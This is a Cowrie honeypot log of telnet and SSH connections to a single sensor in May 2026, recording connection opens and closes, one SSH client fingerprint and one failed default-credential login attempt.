{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":38396,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa2a7f31e20","protocol":"telnet","message":"New connection: 69.162.99.242:38396 (159.203.135.109:23) [session: dfa2a7f31e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:12.178854Z"}
{"eventid":"cowrie.session.closed","duration":13.086928129196167,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:12.722407Z","src_ip":"147.182.143.59","session":"f23dd72922f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23228096961975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:12.844426Z","src_ip":"69.162.99.242","session":"ac5402d3bfb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124048233032227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:13.618546Z","src_ip":"69.162.99.242","session":"6492bd82972e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44328,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01d25c9ef7e","protocol":"telnet","message":"New connection: 69.162.99.242:44328 (159.203.135.109:23) [session: f01d25c9ef7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:13.737401Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":57764,"dst_ip":"10.17.0.5","dst_port":22,"session":"228f6d71632d","protocol":"ssh","message":"New connection: 154.198.162.75:57764 (10.17.0.5:22) [session: 228f6d71632d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:14.127727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:14.132586Z","src_ip":"154.198.162.75","session":"228f6d71632d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:14.334205Z","src_ip":"154.198.162.75","session":"228f6d71632d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"d3v0ps","message":"login attempt [devops/d3v0ps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:15.168573Z","src_ip":"154.198.162.75","session":"228f6d71632d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.120870590209961,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:15.498473Z","src_ip":"147.182.143.59","session":"650052254de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95814061164856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:15.537980Z","src_ip":"69.162.99.242","session":"594dc4f5d9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48788,"dst_ip":"159.203.135.109","dst_port":23,"session":"531b373174bd","protocol":"telnet","message":"New connection: 69.162.99.242:48788 (159.203.135.109:23) [session: 531b373174bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:15.935919Z"}
{"eventid":"cowrie.session.closed","duration":30.73056435585022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:16.088621Z","src_ip":"69.162.99.242","session":"56b56acddae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9670307636261,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:16.257916Z","src_ip":"69.162.99.242","session":"681dc132d3ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:16.372054Z","src_ip":"154.198.162.75","session":"228f6d71632d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.168654203414917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:16.767952Z","src_ip":"69.162.99.242","session":"7afb5d811220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48720,"dst_ip":"159.203.135.109","dst_port":23,"session":"15e9d258595a","protocol":"telnet","message":"New connection: 69.162.99.242:48720 (159.203.135.109:23) [session: 15e9d258595a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:16.912137Z"}
{"eventid":"cowrie.session.closed","duration":32.69458317756653,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:18.287077Z","src_ip":"45.58.127.90","session":"d3f4af7a4e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10762619972229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:18.789501Z","src_ip":"69.162.99.242","session":"21332ce27841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.32784104347229,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:18.928786Z","src_ip":"147.182.143.59","session":"4b32bb6cebea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130893230438232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:19.006542Z","src_ip":"69.162.99.242","session":"272171aeaf63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57608,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5fc0cbc809","protocol":"telnet","message":"New connection: 69.162.99.242:57608 (159.203.135.109:23) [session: dd5fc0cbc809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:20.578756Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57908,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d5498231849","protocol":"telnet","message":"New connection: 69.162.99.242:57908 (159.203.135.109:23) [session: 7d5498231849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:20.741101Z"}
{"eventid":"cowrie.session.closed","duration":30.884784936904907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:21.107786Z","src_ip":"69.162.99.242","session":"af71cf547a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24802851676941,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:21.242607Z","src_ip":"69.162.99.242","session":"3599029c183f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248810291290283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:21.247761Z","src_ip":"69.162.99.242","session":"84a8cc9f15ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":59680,"dst_ip":"159.203.135.109","dst_port":23,"session":"68e26d56dcdd","protocol":"telnet","message":"New connection: 69.162.99.242:59680 (159.203.135.109:23) [session: 68e26d56dcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:21.465497Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37052,"dst_ip":"10.17.0.5","dst_port":23,"session":"1706d54e511a","protocol":"telnet","message":"New connection: 45.58.127.90:37052 (10.17.0.5:23) [session: 1706d54e511a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:22.704485Z"}
{"eventid":"cowrie.session.closed","duration":48.30274987220764,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:22.959491Z","src_ip":"147.182.143.59","session":"f2f73cbd2c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37064,"dst_ip":"10.17.0.5","dst_port":23,"session":"a888159c2f88","protocol":"telnet","message":"New connection: 45.58.127.90:37064 (10.17.0.5:23) [session: a888159c2f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:23.532505Z"}
{"eventid":"cowrie.session.closed","duration":31.151591062545776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:23.661361Z","src_ip":"69.162.99.242","session":"be38ee00c8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264667749404907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:25.312754Z","src_ip":"69.162.99.242","session":"253ec7d63ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.66136908531189,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:25.499401Z","src_ip":"45.58.127.90","session":"bfbb92511c40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12997317314148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:25.667155Z","src_ip":"69.162.99.242","session":"6e5578618782","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.223026990890503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:27.091679Z","src_ip":"69.162.99.242","session":"6e01c39b6c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45430,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b0b4772b01","protocol":"telnet","message":"New connection: 69.162.99.242:45430 (159.203.135.109:23) [session: 67b0b4772b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:27.697630Z"}
{"eventid":"cowrie.session.closed","duration":31.088653326034546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:27.828065Z","src_ip":"69.162.99.242","session":"99f65865dcbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979431629180908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:28.307851Z","src_ip":"69.162.99.242","session":"bb2375dcbbd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110180139541626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:29.923002Z","src_ip":"69.162.99.242","session":"0b0cb0978cde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50386,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f4bfad71c7","protocol":"telnet","message":"New connection: 69.162.99.242:50386 (159.203.135.109:23) [session: c9f4bfad71c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:30.010524Z"}
{"eventid":"cowrie.session.closed","duration":37.318029165267944,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:30.105782Z","src_ip":"45.58.127.90","session":"6f8474c2223d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":51368,"dst_ip":"159.203.135.109","dst_port":23,"session":"23160de7aae6","protocol":"telnet","message":"New connection: 69.162.99.242:51368 (159.203.135.109:23) [session: 23160de7aae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:30.486881Z"}
{"eventid":"cowrie.session.closed","duration":31.159528255462646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:31.320895Z","src_ip":"69.162.99.242","session":"e0f3b38ab034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39504,"dst_ip":"10.17.0.5","dst_port":23,"session":"8adb8c488507","protocol":"telnet","message":"New connection: 45.58.127.90:39504 (10.17.0.5:23) [session: 8adb8c488507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:31.827500Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":53902,"dst_ip":"159.203.135.109","dst_port":23,"session":"82a4675f099e","protocol":"telnet","message":"New connection: 69.162.99.242:53902 (159.203.135.109:23) [session: 82a4675f099e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:31.898088Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7be8da084d6a","protocol":"telnet","message":"New connection: 45.58.127.90:39506 (10.17.0.5:23) [session: 7be8da084d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:35.688584Z"}
{"eventid":"cowrie.session.closed","duration":30.37225317955017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:36.162215Z","src_ip":"69.162.99.242","session":"48c9bc94c48f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094786643981934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:36.858850Z","src_ip":"69.162.99.242","session":"fafa0fb52ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39512,"dst_ip":"10.17.0.5","dst_port":23,"session":"c041049814b3","protocol":"telnet","message":"New connection: 45.58.127.90:39512 (10.17.0.5:23) [session: c041049814b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:37.336724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35274,"dst_ip":"159.203.135.109","dst_port":23,"session":"696eed944dbd","protocol":"telnet","message":"New connection: 69.162.99.242:35274 (159.203.135.109:23) [session: 696eed944dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:37.412701Z"}
{"eventid":"cowrie.session.closed","duration":31.103816032409668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:37.581924Z","src_ip":"69.162.99.242","session":"2fa533542df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102085828781128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:38.124317Z","src_ip":"69.162.99.242","session":"612d67a50eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":37466,"dst_ip":"159.203.135.109","dst_port":23,"session":"83a465630b3b","protocol":"telnet","message":"New connection: 69.162.99.242:37466 (159.203.135.109:23) [session: 83a465630b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:38.497453Z"}
{"eventid":"cowrie.session.closed","duration":31.799283981323242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:38.937061Z","src_ip":"69.162.99.242","session":"a057fc988a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70197820663452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:40.837444Z","src_ip":"69.162.99.242","session":"a57d51ae568d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46010,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d237f640a40","protocol":"telnet","message":"New connection: 69.162.99.242:46010 (159.203.135.109:23) [session: 9d237f640a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:42.443933Z"}
{"eventid":"cowrie.session.closed","duration":31.11396861076355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:43.292677Z","src_ip":"69.162.99.242","session":"dfa2a7f31e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"817d3777ae08","protocol":"telnet","message":"New connection: 45.58.127.90:59824 (10.17.0.5:23) [session: 817d3777ae08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:43.915662Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":49938,"dst_ip":"159.203.135.109","dst_port":23,"session":"937cebbb4995","protocol":"telnet","message":"New connection: 69.162.99.242:49938 (159.203.135.109:23) [session: 937cebbb4995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:44.236887Z"}
{"eventid":"cowrie.session.closed","duration":31.26280426979065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:45.000074Z","src_ip":"69.162.99.242","session":"f01d25c9ef7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":52892,"dst_ip":"159.203.135.109","dst_port":23,"session":"862ae901c495","protocol":"telnet","message":"New connection: 69.162.99.242:52892 (159.203.135.109:23) [session: 862ae901c495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:45.651923Z"}
{"eventid":"cowrie.session.closed","duration":30.109668016433716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:46.045466Z","src_ip":"69.162.99.242","session":"531b373174bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":54474,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f460c4b8d4a","protocol":"telnet","message":"New connection: 69.162.99.242:54474 (159.203.135.109:23) [session: 1f460c4b8d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:46.412508Z"}
{"eventid":"cowrie.session.closed","duration":31.092801094055176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:48.004840Z","src_ip":"69.162.99.242","session":"15e9d258595a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60176,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a5e1673f64","protocol":"telnet","message":"New connection: 69.162.99.242:60176 (159.203.135.109:23) [session: e7a5e1673f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:49.270412Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35474,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7a69733883","protocol":"telnet","message":"New connection: 147.182.143.59:35474 (159.203.135.109:23) [session: 5d7a69733883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:50.691728Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d49bfa25b7f","protocol":"telnet","message":"New connection: 45.58.127.90:50290 (10.17.0.5:23) [session: 3d49bfa25b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:51.252817Z"}
{"eventid":"cowrie.session.closed","duration":31.239938259124756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:51.818572Z","src_ip":"69.162.99.242","session":"dd5fc0cbc809","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114051580429077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:51.855017Z","src_ip":"69.162.99.242","session":"7d5498231849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09517240524292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:52.560542Z","src_ip":"69.162.99.242","session":"68e26d56dcdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55556,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13ce199a8e7","protocol":"telnet","message":"New connection: 147.182.143.59:55556 (159.203.135.109:23) [session: c13ce199a8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:57.880047Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55570,"dst_ip":"159.203.135.109","dst_port":23,"session":"d107f6eb169f","protocol":"telnet","message":"New connection: 147.182.143.59:55570 (159.203.135.109:23) [session: d107f6eb169f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:58.619421Z"}
{"eventid":"cowrie.session.closed","duration":31.101089477539062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:35:58.798613Z","src_ip":"69.162.99.242","session":"67b0b4772b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50308,"dst_ip":"10.17.0.5","dst_port":23,"session":"aafa2e2a4a95","protocol":"telnet","message":"New connection: 45.58.127.90:50308 (10.17.0.5:23) [session: aafa2e2a4a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:00.022409Z"}
{"eventid":"cowrie.session.closed","duration":37.51327037811279,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:00.217640Z","src_ip":"45.58.127.90","session":"1706d54e511a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149839162826538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:01.160230Z","src_ip":"69.162.99.242","session":"c9f4bfad71c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22118091583252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:01.707933Z","src_ip":"69.162.99.242","session":"23160de7aae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111708879470825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:03.009698Z","src_ip":"69.162.99.242","session":"82a4675f099e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.029541969299316,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:03.721163Z","src_ip":"147.182.143.59","session":"5d7a69733883","protocol":"telnet"}
